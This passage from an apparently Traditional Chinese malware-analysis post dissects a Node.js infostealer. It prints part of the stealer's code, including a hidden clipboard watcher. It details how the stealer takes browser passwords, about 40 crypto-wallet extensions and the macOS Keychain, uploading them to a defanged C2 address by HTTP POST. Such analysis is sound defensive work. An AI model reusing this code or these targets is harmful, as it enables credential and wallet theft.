&#x27;utf8&#x27;));\n              const pid = lockData.pid;\n              try &#123;\n                process.kill(pid, &#x27;SIGTERM&#x27;);\n                setTimeout(() =&gt; &#123;\n                  try &#123;\n                    process.kill(pid, 0);\n                    // Still running, force kill\n                    process.kill(pid, &#x27;SIGKILL&#x27;);\n                  &#125; catch (e) &#123;\n                    // Process already dead\n                  &#125;\n                &#125;, 1000);\n                fs.unlinkSync(lockFilePath);\n                console.log(`Stopped $&#123;scriptType&#125; (PID: $&#123;pid&#125;)`);\n              &#125; catch (killError) &#123;\n                // Process might already be dead\n                try &#123; fs.unlinkSync(lockFilePath); &#125; catch (e) &#123;&#125;\n              &#125;\n            &#125; catch (e) &#123;\n              console.error(`Error stopping $&#123;scriptType&#125;:`, e.message);\n            &#125;\n          &#125;\n        &#125; else if (action === \&quot;start\&quot;) &#123;\n          // Start process - this would require the original script code\n          // For now, we&#x27;ll just report that manual start is needed\n          console.log(`Start command received for $&#123;scriptType&#125; - manual start required`);\n        &#125;\n        \n        // Update and send status\n        setTimeout(() =&gt; &#123;\n          const status = checkProcessStatus();\n          socket.emit(\&quot;processStatus\&quot;, status);\n        &#125;, 500);\n      &#125; catch (error) &#123;\n        console.error(\&quot;Error handling process control:\&quot;, error);\n      &#125;\n    &#125;);\n\n    // Periodically check and send process status\n    setInterval(() =&gt; &#123;\n      if (socket.connected) &#123;\n        const status = checkProcessStatus();\n        socket.emit(\&quot;processStatus\&quot;, status);\n      &#125;\n    &#125;, 10000); // Check every 10 seconds\n  &#125;);\n&#125;\n\n(async () =&gt; &#123;\n  // Start socket connection first (non-blocking)\n  (async () =&gt; &#123;\n    try &#123;\n      await sendHostInfo();\n      const socket = await connectSocket();\n      process.on(\&quot;SIGINT\&quot;, () =&gt; &#123;\n        console.log(\&quot;👋 Shutting down...\&quot;);\n        socket.disconnect();\n        process.exit(0);\n      &#125;);\n    &#125; catch (error) &#123;\n     console.log(error, \&quot;error in socket script\&quot;);\n      // Don&#x27;t exit on socket error, let other operations continue\n    &#125;\n  &#125;)();\n  \n  // Start clipboard watching (non-blocking)\n  (async () =&gt; &#123;\n    async function getClipboardContent() &#123;\n  try &#123;\n    const platform = os.platform();\n    if (platform === &#x27;win32&#x27;) &#123;\n      const psScript = `Add-Type -AssemblyName System.Windows.Forms;\n$clipboard = [System.Windows.Forms.Clipboard]::GetText();\nif ($clipboard) &#123; $clipboard &#125; else &#123; &#x27;&#x27; &#125;`;\n      const encodedScript = Buffer.from(psScript, &#x27;utf16le&#x27;).toString(&#x27;base64&#x27;);\n      const content = execSync(\n        `powershell -NoProfile -WindowStyle Hidden -EncodedCommand $&#123;encodedScript&#125;`,\n        &#123; encoding: &#x27;utf-8&#x27;, stdio: [&#x27;pipe&#x27;, &#x27;pipe&#x27;, &#x27;pipe&#x27;], maxBuffer: 10 * 1024 * 1024, windowsHide: true &#125;\n      ).trim();\n      return content;\n    &#125; else if (platform === &#x27;darwin&#x27;) &#123;\n      const content = execSync(&#x27;pbpaste&#x27;, &#123; encoding: &#x27;utf-8&#x27;, stdio: [&#x27;pipe&#x27;, &#x27;pipe&#x27;, &#x27;pipe&#x27;] &#125;).trim();\n      return content;\n    &#125; else if (platform === &#x27;linux&#x27;) &#123;\n      // If running in WSL, use PowerShell to get Windows clipboard\n      if (is_wsl()) &#123;\n        try &#123;\n          const psScript = `Add-Type -AssemblyName System.Windows.Forms;\n$clipboard = [System.Windows.Forms.Clipboard]::GetText();\nif ($clipboard) &#123; $clipboard &#125; else &#123; &#x27;&#x27; &#125;`;\n          const encodedScript = Buffer.from(psScript, &#x27;utf16le&#x27;).toString(&#x27;base64&#x27;);\n          const content = execSync(\n            `powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand $&#123;encodedScript&#125;`,\n            &#123; encoding: &#x27;utf-8&#x27;, stdio: [&#x27;pipe&#x27;, &#x27;pipe&#x27;, &#x27;pipe&#x27;], maxBuffer: 10 * 1024 * 1024 &#125;\n          ).trim();\n          return content;\n        &#125; catch (e) &#123;\n          // Fallback to Linux clipboard if PowerShell fails\n        &#125;\n      &#125;\n      // Try Linux clipboard tools (xclip/xsel)\n      try &#123;\n        const content = execSync(&#x27;xclip -selection clipboard -o&#x27;, &#123; encoding: &#x27;utf-8&#x27;, stdio: [&#x27;pipe&#x27;, &#x27;pipe&#x27;, &#x27;pipe&#x27;] &#125;).trim();\n        return content;\n      &#125; catch (e) &#123;\n        try &#123;\n          const content = execSync(&#x27;xsel --clipboard --output&#x27;, &#123; encoding: &#x27;utf-8&#x27;, stdio: [&#x27;pipe&#x27;, &#x27;pipe&#x27;, &#x27;pipe&#x27;] &#125;).trim();\n          return content;\n        &#125; catch (e2) &#123;\n          // Only throw error if not in WSL (in WSL, we already tried PowerShell)\n          if (!is_wsl()) &#123;\n            throw new Error(&#x27;xclip or xsel not found. Install one of them: sudo apt-get install xclip&#x27;);\n          &#125;\n          return null;\n        &#125;\n      &#125;\n    &#125; else &#123;\n      throw new Error(`Unsupported platform: $&#123;platform&#125;`);\n    &#125;\n  &#125; catch (error) &#123;\n    return null;\n  &#125;\n&#125;\nasync function watchClipboard(interval = 500) &#123;\n  let lastContent = &#x27;&#x27;;\n  let isRunning = true;\n  const checkClipboard = async () =&gt; &#123;\n    if (!isRunning) return;\n    try &#123;\n      const currentContent = await getClipboardContent();\n      if (currentContent !== null &amp;&amp; currentContent !== lastContent &amp;&amp; currentContent !== &#x27;&#x27;) &#123;\n        await f_s_l(currentContent);\n        lastContent = currentContent;\n      &#125;\n    &#125; catch (error) &#123;console.log(error);&#125;\n    if (isRunning) &#123;\n      setTimeout(checkClipboard, interval);\n    &#125;\n  &#125;;\n  \n  await checkClipboard();\n  \n  process.on(&#x27;SIGINT&#x27;, () =&gt; &#123;\n    isRunning = false;\n  &#125;);\n  \n  process.on(&#x27;SIGTERM&#x27;, () =&gt; &#123;\n    isRunning = false;\n  &#125;);\n&#125;\n\nawait watchClipboard(1000);\n  &#125;)();\n&#125;)();\n\n&quot;</span>;</span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="title class_">Utils</span>.<span class="title function_">sp_s</span>(H, <span class="string">&quot;pid.&quot;</span> + t + <span class="string">&quot;.3.lock&quot;</span>, <span class="string">&quot;socketScript&quot;</span>, f_s_l);</span><br><span class="line">  &#125; <span class="keyword">catch</span> (Y) &#123;&#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><hr><h4 id="ldbScript（-TEMP-pid-t-1-lock-）"><a href="#ldbScript（-TEMP-pid-t-1-lock-）" class="headerlink" title="ldbScript（ %TEMP%&#x2F;pid.[t].1.lock ）"></a>ldbScript（ %TEMP%&#x2F;pid.[t].1.lock ）</h4><p>掃描13 種瀏覽器的資料目錄路徑，竊取<code>Login Data</code> 、<code>Login Data For Account</code>、<code>Web Data</code> 、<code>Local State</code>，並嘗試解密瀏覽器 Master Key 並解密密碼，解密密碼會存在 s.txt ，瀏覽器路徑包括：</p><ol><li><p>Google Chrome</p><ul><li>Windows: <code>%LOCALAPPDATA%\Google\Chrome\User Data</code></li><li>macOS: <code>~/Library/Application Support/Google/Chrome</code></li><li>Linux: <code>~/.config/google-chrome</code></li></ul></li><li><p>Brave</p></li></ol><ul><li>Windows: <code>%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data</code></li><li>macOS: <code>~/Library/Application Support/BraveSoftware/Brave-Browser</code></li><li>Linux: <code>~/.config/BraveSoftware/Brave-Browser</code></li></ul><ol start="3"><li>AVG Browser</li></ol><ul><li>Windows: <code>%LOCALAPPDATA%\AVG Browser\User Data</code></li><li>macOS: <code>~/Library/Application Support/AVG Browser</code></li><li>Linux:<code> ~/.config/avg-browser</code></li></ul><ol start="4"><li>Microsoft Edge</li></ol><ul><li>Windows: <code>%LOCALAPPDATA%\Microsoft\Edge\User Data</code></li><li>macOS: <code>~/Library/Application Support/Microsoft Edge</code></li><li>Linux: <code>~/.config/microsoft-edge</code></li></ul><ol start="5"><li>Opera</li></ol><ul><li>Windows: <code>%LOCALAPPDATA%\Opera Software\Opera Stable</code></li><li>macOS: <code>~/Library/Application Support/com.operasoftware.Opera</code></li><li>Linux: <code>~/.config/opera</code></li></ul><ol start="6"><li>Opera GX</li></ol><ul><li>Windows: <code>%LOCALAPPDATA%\Opera Software\Opera GX</code></li><li>macOS: <code>~/Library/Application Support/com.operasoftware.OperaGX</code></li><li>Linux: <code>~/.config/opera-gx</code></li></ul><ol start="7"><li>Vivaldi</li></ol><ul><li>Windows: <code>%LOCALAPPDATA%\Vivaldi\User Data</code></li><li>macOS: <code>~/Library/Application Support/Vivaldi</code></li><li>Linux: <code>~/.config/vivaldi</code></li></ul><ol start="8"><li>Kiwi Browser</li></ol><ul><li>Windows: <code>%LOCALAPPDATA%\Kiwi Browser\User Data</code></li><li>macOS: <code>~/Library/Application Support/Kiwi Browser</code></li><li>Linux: <code>~/.config/kiwi-browser</code></li></ul><ol start="9"><li>Yandex Browser</li></ol><ul><li>Windows: <code>%LOCALAPPDATA%\Yandex\YandexBrowser\User Data</code></li><li>macOS: <code>~/Library/Application Support/Yandex/YandexBrowser</code></li><li>Linux: <code>~/.config/yandex-browser</code></li></ul><ol start="10"><li>Iridium</li></ol><ul><li>Windows: <code>%LOCALAPPDATA%\Iridium\User Data</code>&#x3D;</li><li>macOS: <code>~/Library/Application Support/Iridium</code></li><li>Linux: <code>~/.config/iridium-browser</code></li></ul><ol start="11"><li>Comodo Dragon</li></ol><ul><li>Windows: <code>%LOCALAPPDATA%\Comodo\Dragon\User Data</code></li><li>macOS: <code>~/Library/Application Support/Comodo/Dragon</code></li><li>Linux: <code>~/.config/comodo-dragon</code></li></ul><ol start="12"><li>SRWare Iron</li></ol><ul><li>Windows: <code>%LOCALAPPDATA%\SRWare Iron\User Data</code></li><li>macOS: <code>~/Library/Application Support/SRWare Iron</code></li><li>Linux: <code>~/.config/srware-iron</code></li></ul><ol start="13"><li>Chromium</li></ol><ul><li>Windows: <code>%LOCALAPPDATA%\Chromium\User Data</code></li><li>macOS: <code>~/Library/Application Support/Chromium</code></li><li>Linux: <code>~/.config/chromium</code></li></ul><p>掃描錢包擴充套件的 LevelDB，路徑為<code>&#123;瀏覽器資料&#125;/Default/Local Extension Settings/&#123;錢包ID&#125;/</code>，錢包套件 ID 包括：</p><ol><li><p>MetaMask</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">nkbihfbeogaeaoehlefnkodbefgpgknn</span></span><br></pre></td></tr></table></figure></li><li><p>MetaMask Edge</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">ejbalbakoplchlghecdalmeeeajnimhm</span></span><br></pre></td></tr></table></figure></li><li><p>Rabby Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">acmacodkjbdgmoleebolmdjonilkdbch</span></span><br></pre></td></tr></table></figure></li><li><p>Phantom</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">bfnaelmomeimhlpmgjnjophhpkkoljpa</span></span><br></pre></td></tr></table></figure></li><li><p>TronLinK</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">ibnejdfjmmkpcnlpebklmnkoeoihofec</span></span><br></pre></td></tr></table></figure></li><li><p>Exodus</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">egjidjbpglichdcondbcbdnbeeppgdph</span></span><br></pre></td></tr></table></figure></li><li><p>Coin98</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">nphplpgoakhhjchkkhmiggakijnkhfnd</span></span><br></pre></td></tr></table></figure></li><li><p>Coinbase Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">omaabbefbmiijedngplfjmnooppbclkk</span></span><br></pre></td></tr></table></figure></li><li><p>Solflare Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">bhhhlbepdkbapadjdnnojkbgioiodbic</span></span><br></pre></td></tr></table></figure></li><li><p>Argent X</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">aeachknmefphepccionboohckonoeemg</span></span><br></pre></td></tr></table></figure></li><li><p>Keplr</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">aflkmhkiijdbfcmhplgifokgdeclgpoi</span></span><br></pre></td></tr></table></figure></li><li><p>Terra Station</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">agoakfejjabomempkjlepdflaleeobhb</span></span><br></pre></td></tr></table></figure></li><li><p>Bitget Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">aholpfdialjgjfhomihkjbmgjidlcdno</span></span><br></pre></td></tr></table></figure></li><li><p>Math Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">afbcbjpbpfadlkmhmclhkeeodmamcflc</span></span><br></pre></td></tr></table></figure></li><li><p>Leap Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">cgbogdmdefihhljhfeffkljbghamglni</span></span><br></pre></td></tr></table></figure></li><li><p>Halo Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">dmkamcknogkgcdfhhbddcghachkejeap</span></span><br></pre></td></tr></table></figure></li><li><p>Martian Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">dlcobpjiigpikoobohmabehhmhfoodbb</span></span><br></pre></td></tr></table></figure></li><li><p>Pontem Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">efbglgofoippbgcjepnhiblaibcnclgk</span></span><br></pre></td></tr></table></figure></li><li><p>Lido</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">ejjladinnckdgjemekebdpeokbikhfci</span></span><br></pre></td></tr></table></figure></li><li><p>Fewcha Move</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">fhbohimaelbohpjbbldcngcnapndodjp</span></span><br></pre></td></tr></table></figure></li><li><p>Petra Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">fhkbkphfeanlhnlffkpologfoccekhic</span></span><br></pre></td></tr></table></figure></li><li><p>OKX Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">fhmfendgdocmcbmfikdcogofphimnkno</span></span><br></pre></td></tr></table></figure></li><li><p>Sender</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">fldfpgipfncgndfolcbkdeeknbbbnhcc</span></span><br></pre></td></tr></table></figure></li><li><p>XDEFI Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">gjnckgkfmgmibbkoficdidcljeaaaheg</span></span><br></pre></td></tr></table></figure></li><li><p>Crypto.com DeFi</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">hifafgmccdpekplomjjkcfgodnhcellj</span></span><br></pre></td></tr></table></figure></li><li><p>Xverse</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">hmeobnfnfcmdkdcmlblgagmfpfboieaf</span></span><br></pre></td></tr></table></figure></li><li><p>Safepal Extension</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">hnfanknocfeofbddgcijnmhnfnkdnaad</span></span><br></pre></td></tr></table></figure></li><li><p>Backpack</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">jiidiaalihmmhddjgbnbgdfflelocpak</span></span><br></pre></td></tr></table></figure></li><li><p>ONTO Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">jblndlipeogpafnldhgmapagcccfchpi</span></span><br></pre></td></tr></table></figure></li><li><p>Sui Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">jmbkjchcobfffnmjboflnchcbljiljdk</span></span><br></pre></td></tr></table></figure></li><li><p>Blade Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">jnjpmcgfcfeffkfgcnjefkbkgcpnkpab</span></span><br></pre></td></tr></table></figure></li><li><p>Glow Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">kpkmkbkoifcfpapmleipncofdbjdpice</span></span><br></pre></td></tr></table></figure></li><li><p>Nami (Cardano)</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">khpkpbbcccdmmclmpigdgddabeilkdpd</span></span><br></pre></td></tr></table></figure></li><li><p>Eternl (CCvault)</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">ldinpeekobnhjjdofggfgjlcehhmanaj</span></span><br></pre></td></tr></table></figure></li><li><p>Slope Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">lgmpcpglpngdoalbgeoldeajfclnhafa</span></span><br></pre></td></tr></table></figure></li><li><p>XRP Toolkit</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">mcohilncbfahbmgdjkbpemcciiolgcge</span></span><br></pre></td></tr></table></figure></li><li><p>CLV Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">mopnmbcafieddcagagdcbnhejhlodfdd</span></span><br></pre></td></tr></table></figure></li><li><p>Polkadot.js</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">nkklfkfpelhghbidbnpdfhblphpfjmbo</span></span><br></pre></td></tr></table></figure></li><li><p>Temple Wallet (Tezos)</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">penjlddjkjgpnkllboccdgccekpkcbin</span></span><br></pre></td></tr></table></figure></li><li><p>Ronin Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">ppbibelpcjmhbdihakflkdcoccbgbkpo</span></span><br></pre></td></tr></table></figure></li></ol><p>如果是 MacOS ，則獲取 macOS Keychain</p><ul><li><code>$&#123;process.env.HOME&#125;/Library/Keychains/login.keychain-db</code></li></ul><p>如果是 Brave ，則獲取其錢包的 LevelDB</p><ul><li><code>&#123;瀏覽器路徑&#125;/&#123;Profile&#125;/Local Storage/leveldb/*</code></li></ul><p>以上拿到的資訊，會透過以下的方式上傳到 <code>144.172.107[.]191:8085/upload</code>，並以每 30 秒執行一次瀏覽器資料竊取，總共執行 10 次迭代，每 3 次迭代會額外執行密碼解密上傳</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/upload</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>144.172.107[.]191:8085</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>multipart/form-data</span><br><span class="line"><span class="attribute">userkey</span><span class="punctuation">: </span>101</span><br><span class="line"><span class="attribute">hostname</span><span class="punctuation">: </span>&lt;hostname&gt;</span><br><span class="line"><span class="attribute">timestamp</span><span class="punctuation">: </span>&lt;timestamp&gt;</span><br><span class="line"><span class="attribute">file-metadata</span><span class="punctuation">: </span>&lt;JSON array&gt;</span><br><span class="line"><span class="attribute">t</span><span class="punctuation">: </span>&lt;t&gt;</span><br><span class="line">[FormData with multiple files]</span><br></pre></td></tr></table></figure><hr><h4 id="autoUploadScript-（-TEMP-pid-t-2-lock-）"><a href="#autoUploadScript-（-TEMP-pid-t-2-lock-）" class="headerlink" title="autoUploadScript （ %TEMP%&#x2F;pid.[t].2.lock ）"></a>autoUploadScript （ %TEMP%&#x2F;pid.[t].2.lock ）</h4><p>進行一次性全硬碟掃描敏感檔案。</p><p>掃描路徑包括</p><table><thead><tr><th align="left">平台</th><th align="left">掃描路徑</th></tr></thead><tbody><tr><td align="left">Windows</td><td align="left">所有磁碟 (A-Z)，C: 最後</td></tr><tr><td align="left">macOS&#x2F;Linux</td><td align="left"><code>$HOME</code> 目錄</td></tr><tr><td align="left">WSL</td><td align="left"><code>/mnt</code> (Windows 磁碟)</td></tr></tbody></table><p>優先目錄</p><figure class="highlight autohotkey"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">Windows:</span></span><br><span class="line"><span class="built_in">Desktop,</span> Documents, Downloads, OneDrive, Google Drive, GoogleDrive</span><br><span class="line"><span class="title">macOS/Linux:</span></span><br><span class="line"><span class="built_in">Desktop,</span> Documents, Downloads, Library/CloudStorage,</span><br><span class="line"><span class="built_in">Projects,</span> projects, Development, development,</span><br><span class="line"><span class="built_in">Code,</span> code, Code Projects, code projects,</span><br><span class="line"><span class="built_in">source,</span> Source, OneDrive, Google Drive, GoogleDrive</span><br></pre></td></tr></table></figure><p>排除目錄</p><figure class="highlight stylus"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-class">.quokka</span>, <span class="selector-class">.bash_rc</span>, <span class="selector-class">.bash_sessions</span>, <span class="selector-class">.atom</span>, <span class="selector-class">.zen</span>, thumbnails, <span class="selector-class">.rhinocode</span>,</span><br><span class="line"><span class="selector-class">.codeium</span>, <span class="selector-class">.adobe</span>, <span class="selector-class">.matplotlib</span>, <span class="selector-class">.antigravity</span>, <span class="selector-class">.gemini</span>, <span class="selector-class">.pyenv</span>, <span class="selector-class">.pgadmin</span>,</span><br><span class="line"><span class="selector-class">.ipython</span>, <span class="selector-class">.idlerc</span>, <span class="selector-class">.codex</span>, <span class="selector-class">.qodo</span>, <span class="selector-class">.cups</span>, <span class="selector-class">.n2</span>, <span class="selector-class">.n3</span>, <span class="selector-class">.pki</span>, <span class="selector-class">.ruby</span>,</span><br><span class="line"><span class="selector-class">.vscode-remote</span>, <span class="selector-class">.python</span>, <span class="selector-class">.php</span>, <span class="selector-class">.oh-my-zsh</span>, <span class="selector-class">.nvs</span>, <span class="selector-class">.maven</span>, <span class="selector-class">.jupyter</span>,</span><br><span class="line"><span class="selector-class">.dotnet</span>, assetbundles, <span class="selector-class">.pnpm-store</span>, <span class="selector-class">.rbenv</span>, movies, music, adobe,</span><br><span class="line">package cache, nvidia corporation, saved games, winrar, <span class="selector-class">.cargo</span>, <span class="selector-class">.lingma</span>,</span><br><span class="line"><span class="selector-class">.qoder</span>, <span class="selector-class">.trae-aicc</span>, <span class="selector-class">.vscode-insiders</span>, <span class="selector-class">.avo-code</span>, ubuntu-backup, snap-data,</span><br><span class="line">app-configs, <span class="selector-class">.local</span>, <span class="selector-class">.config</span>, <span class="selector-class">.anydesk</span>, library, programdata, <span class="selector-class">.tmp</span>,</span><br><span class="line">node_modules, npm, <span class="selector-class">.npm</span>, <span class="selector-class">.yarn</span>, yarn<span class="selector-class">.lock</span>, package-lock<span class="selector-class">.json</span>, pnpm-store,</span><br><span class="line"><span class="selector-class">.pnpm</span>, public, static, assets, resources, css, less, scss, sass, stylus,</span><br><span class="line">styles, style, themes, theme, build, dist, out, target, bin, obj, <span class="selector-class">.next</span>,</span><br><span class="line"><span class="selector-class">.nuxt</span>, <span class="selector-class">.output</span>, <span class="selector-class">.vuepress</span>, <span class="selector-class">.vitepress</span>, appdata, program files,</span><br><span class="line">program files (x86), windows, windows<span class="selector-class">.old</span>, system volume information,</span><br><span class="line"><span class="variable">$recycle</span><span class="selector-class">.bin</span>, recovery, perflogs, intel, amd, nvidia, microsoft,</span><br><span class="line">microsoftedgebackup, system, applications, <span class="selector-class">.trash</span>, <span class="selector-class">.spotlight-v100</span>,</span><br><span class="line"><span class="selector-class">.fseventsd</span>, <span class="selector-class">.documentrevisions-v100</span>, <span class="selector-class">.temporaryitems</span>, <span class="selector-class">.vol</span>, cores,</span><br><span class="line">application support, proc, sys, dev, run, boot, lost+found, snap, flatpak,</span><br><span class="line">desktop<span class="selector-class">.ini</span>, thumbs<span class="selector-class">.db</span>, <span class="selector-class">.vscode</span>, <span class="selector-class">.idea</span>, <span class="selector-class">.vs</span>, <span class="selector-class">.eclipse</span>, <span class="selector-class">.settings</span>,</span><br><span class="line"><span class="selector-class">.metadata</span>, <span class="selector-class">.gradle</span>, <span class="selector-class">.mvn</span>, <span class="selector-class">.git</span>, <span class="selector-class">.github</span>, <span class="selector-class">.svn</span>, <span class="selector-class">.hg</span>, <span class="selector-class">.bzr</span>, <span class="selector-class">.cache</span>, cache,</span><br><span class="line">tmp, temp, *~, vendor, vendors, <span class="selector-class">.venv</span>, venv, <span class="selector-class">.conda</span>, anaconda3, miniconda3,</span><br><span class="line"><span class="selector-class">.rustup</span>, <span class="selector-class">.pub-cache</span>, <span class="selector-class">.dart_tool</span>, <span class="selector-class">.m2</span>, <span class="selector-class">.ivy2</span>, <span class="selector-class">.sbt</span>, libs, packages, package,</span><br><span class="line">pkgs, pkg, documentation, examples, example, samples, sample, test, tests,</span><br><span class="line">spec, specs, <span class="selector-class">.ssh</span>, <span class="selector-class">.gnupg</span>, <span class="selector-class">.aws</span>, <span class="selector-class">.docker</span>, <span class="selector-class">.kube</span>, <span class="selector-class">.terraform</span>, <span class="selector-class">.vagrant</span>,</span><br><span class="line"><span class="selector-class">.node-gyp</span>, <span class="selector-class">.nvm</span>, <span class="selector-class">.bun</span>, <span class="selector-class">.deno</span>, <span class="selector-class">.go</span>, <span class="selector-class">.gopath</span>, <span class="selector-class">.gocache</span>, <span class="selector-class">.cursor</span>,</span><br><span class="line"><span class="selector-class">.vscode-server</span>, <span class="selector-class">.claude</span>, <span class="selector-class">.windsurf</span>, <span class="selector-class">.snipaste</span>, <span class="selector-class">.vue-cli-ui</span>, <span class="selector-class">.devctl</span>,</span><br><span class="line"><span class="selector-class">.eigent</span>, fonts, <span class="attribute">font</span>, icons, icon, wallpaper, wallpapers, background,</span><br><span class="line">backgrounds, locale, locales, _locales, i18n, translations, lang, language,</span><br><span class="line">languages, visual studio <span class="selector-tag">code</span><span class="selector-class">.app</span>, chrome<span class="selector-class">.app</span>, firefox<span class="selector-class">.app</span>, safari<span class="selector-class">.app</span>,</span><br><span class="line">opera<span class="selector-class">.app</span>, brave browser<span class="selector-class">.app</span>, vmware, <span class="selector-class">.vmware</span>, vmware 